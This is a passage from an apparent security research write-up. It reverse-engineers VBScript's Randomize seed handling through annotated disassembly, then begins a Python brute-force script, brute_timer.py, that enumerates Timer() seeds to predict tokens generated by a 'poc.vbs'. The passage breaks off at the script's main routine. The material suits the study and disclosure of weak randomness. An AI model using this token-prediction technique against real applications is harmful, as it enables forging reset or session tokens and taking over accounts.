00007ffc`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d076db&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;660&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;f6eca&lt;/span&gt;        &lt;span class=&quot;nv&quot;&gt;movd&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;xmm1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;`12d076df f20f5e0599...   divsd   xmm0,[vbscript!_real]
00007ffc`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d076e7&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;f30fe6c9&lt;/span&gt;        &lt;span class=&quot;nv&quot;&gt;cvtdq2pd&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;xmm1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;xmm1&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d076eb&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;f20f58c8&lt;/span&gt;        &lt;span class=&quot;nv&quot;&gt;addsd&lt;/span&gt;   &lt;span class=&quot;nv&quot;&gt;xmm1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;xmm0&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; narrow down&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d076ef&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;660&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;f5ac1&lt;/span&gt;        &lt;span class=&quot;nv&quot;&gt;cvtpd2ps&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;xmm0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;xmm1&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; double -&amp;gt; float conversion&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;`12d076f3 f30f11442420    movss   [rsp+20h],xmm0     ; spill float
00007ffc`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d076f9&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;b4c2420&lt;/span&gt;        &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;rsp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;20h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;; load as int bits&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; ecx now holds 32-bit seed candidate&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;...&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; code used later (in both cases) to mix into PRNG state&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;vbscript&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;VbsRandomize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xda&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d0772a&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;816350&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;ff0000ff&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;and&lt;/span&gt;     &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;rbx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;50h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0FF0000FFh&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; keep top/bottom byte&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;`12d07731 8bc1                mov     eax,ecx
00007ffc`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d07733&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;c1e808&lt;/span&gt;              &lt;span class=&quot;nv&quot;&gt;shr&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;`12d07736 c1e108              shl     ecx,8
00007ffc`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d07739&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;33&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;c1&lt;/span&gt;                &lt;span class=&quot;nv&quot;&gt;xor&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d0773b&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2500&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;ffff00&lt;/span&gt;          &lt;span class=&quot;nv&quot;&gt;and&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;00FFFF00h&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d07740&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;094350&lt;/span&gt;              &lt;span class=&quot;nv&quot;&gt;or&lt;/span&gt;      &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;rbx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;50h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;    
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When we previously said that a bare &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Randomize&lt;/code&gt; uses &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Timer()&lt;/code&gt; as a seed, we weren’t exactly right. In reality, it’s just a call to WinApi’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetLocalTime&lt;/code&gt;. It computes seconds plus fractional milliseconds as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Double&lt;/code&gt;s, then narrows to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Single&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;float&lt;/code&gt;) using the &lt;a href=&quot;https://www.felixcloutier.com/x86/cvtpd2ps&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVTPD2PS&lt;/code&gt;&lt;/a&gt; assembly instruction.&lt;/p&gt;

&lt;p&gt;Let’s use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;65860.48&lt;/code&gt; as an example. It can be represented as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x40f014479db22d0e&lt;/code&gt; in hex notation. After all this math is performed, our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x40f014479db22d0e&lt;/code&gt; becomes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x4780a23d&lt;/code&gt; and is used as the seed input.&lt;/p&gt;

&lt;p&gt;This is what happens otherwise, when the input is explicitly given:&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;; argc == 1, seed given&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;vbscript&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;VbsRandomize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xaf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;`12d076ff 33d2                xor     edx,edx
00007ffc`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d07701&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;488&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;bce&lt;/span&gt;              &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;rcx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;rsi&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;`12d07704 e8...               call    vbscript!VAR::PvarGetVarVal
00007ffc`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d07709&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;ba05000000&lt;/span&gt;          &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;`12d0770e 488bc8              mov     rcx,rax              ; rcx = VAR* (value)
00007ffc`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d07711&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;e8...&lt;/span&gt;               &lt;span class=&quot;nv&quot;&gt;call&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;vbscript&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;VAR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PvarConvert&lt;/span&gt;

&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;`12d07716 f20f104008          movsd   xmm0,mmword [rax+8]  ; load the double payload
00007ffc`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d0771b&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;f20f11442420&lt;/span&gt;        &lt;span class=&quot;nv&quot;&gt;movsd&lt;/span&gt;   &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;rsp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;20h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;xmm0&lt;/span&gt;       &lt;span class=&quot;c1&quot;&gt;; spill as 64-bit&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;`12d07721 488b4c2420          mov     rcx,qword  [rsp+20h] ; rcx = raw IEEE-754 bits
00007ffc`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d07726&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;48&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;c1e920&lt;/span&gt;            &lt;span class=&quot;nv&quot;&gt;shr&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;rcx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;20h&lt;/span&gt;              &lt;span class=&quot;c1&quot;&gt;; **take high dword** as seed source&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When we do specify the seed value, it’s processed in an entirely different way. Instead of being converted using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVTPD2PS&lt;/code&gt; opcode, it’s shifted right by 32 bits. So this time, our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x40f014479db22d0e&lt;/code&gt;  becomes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x40f01447&lt;/code&gt; instead. We end up with completely different seed input. This explains why we couldn’t properly reseed the PRNG.&lt;/p&gt;

&lt;p&gt;Finally, the middle two bytes of the internal PRNG state are updated with a byte-swapped XOR mix of those bits, while the top and bottom bytes of the state are preserved.&lt;/p&gt;

&lt;p&gt;Honestly, I was thinking about reimplementing all of that to Python to get a clearer view on what was going on. But then, Python reminded me that it can handle almost infinite numbers (at least integers). On the other hand, VBScript implementation is actually full of potential number overflows that Python just doesn’t generate. Therefore, I kept the token-generation code as it was and implemented only the seed-conversion in Python.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;
Convert the time range given on the command line into all VBS-Timer()
values between them (inclusive) in **0.015625-second** steps (1/64 s),
turn each value into the special Double that `Randomize &amp;lt;seed&amp;gt;` expects,
feed the seed to VBS_PATH, parse the predicted token, and test it.

usage
    python brute_timer.py &amp;lt;start_clock&amp;gt; &amp;lt;end_clock&amp;gt;

examples
    python brute_timer.py &quot;12:58:00 PM&quot; &quot;12:58:05 PM&quot;
    python brute_timer.py &quot;17:42:25.50&quot; &quot;17:42:27.00&quot;

Both 12- and 24-hour clock strings are accepted; optional fractional
seconds are allowed.
&quot;&quot;&quot;&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;subprocess&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;struct&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;re&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;datetime&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;datetime&lt;/span&gt;


&lt;span class=&quot;n&quot;&gt;VBS_PATH&lt;/span&gt;    &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;C:\share\poc.vbs&quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;TICK&lt;/span&gt;       &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;               &lt;span class=&quot;c1&quot;&gt;# 0.015 625 s  (VBS Timer resolution)
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;STEP&lt;/span&gt;       &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TICK&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;vbs_timer_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;clock_text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;float&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;Clock string to exact Single value returned by VBS's Timer().&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fmt&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%I:%M:%S %p&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;%I:%M:%S.%f %p&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;s&quot;&gt;&quot;%H:%M:%S&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;%H:%M:%S.%f&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;datetime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strptime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;clock_text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ValueError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;raise&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ValueError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;time format not recognised: &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;clock_text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;secs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hour&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3600&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;minute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;60&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;second&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;microsecond&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;1e6&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;secs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;round&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;secs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TICK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TICK&lt;/span&gt;          &lt;span class=&quot;c1&quot;&gt;# snap to nearest 1/64 s
&lt;/span&gt;    
    &lt;span class=&quot;c1&quot;&gt;# force Single precision (float32) to match VBS mantissa exactly
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;secs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unpack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;f'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;f'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;secs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;secs&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;make_manual_seed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;timer_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;float&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;float&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;Build the Double that Randomize &amp;lt;seed&amp;gt; receives&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;single_le&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;f'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;timer_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;   &lt;span class=&quot;c1&quot;&gt;# 4 bytes  little-endian
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;dbl_le&lt;/span&gt;    &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00\x00\x00\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;single_le&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# low dword zero, high dword = f32
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unpack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;d'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dbl_le&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;# Python float (Double)
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# ---------------------------------------------------------------------------
#   MAIN ROUTINE
# ---------------------------------------------------------------------------
&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt;
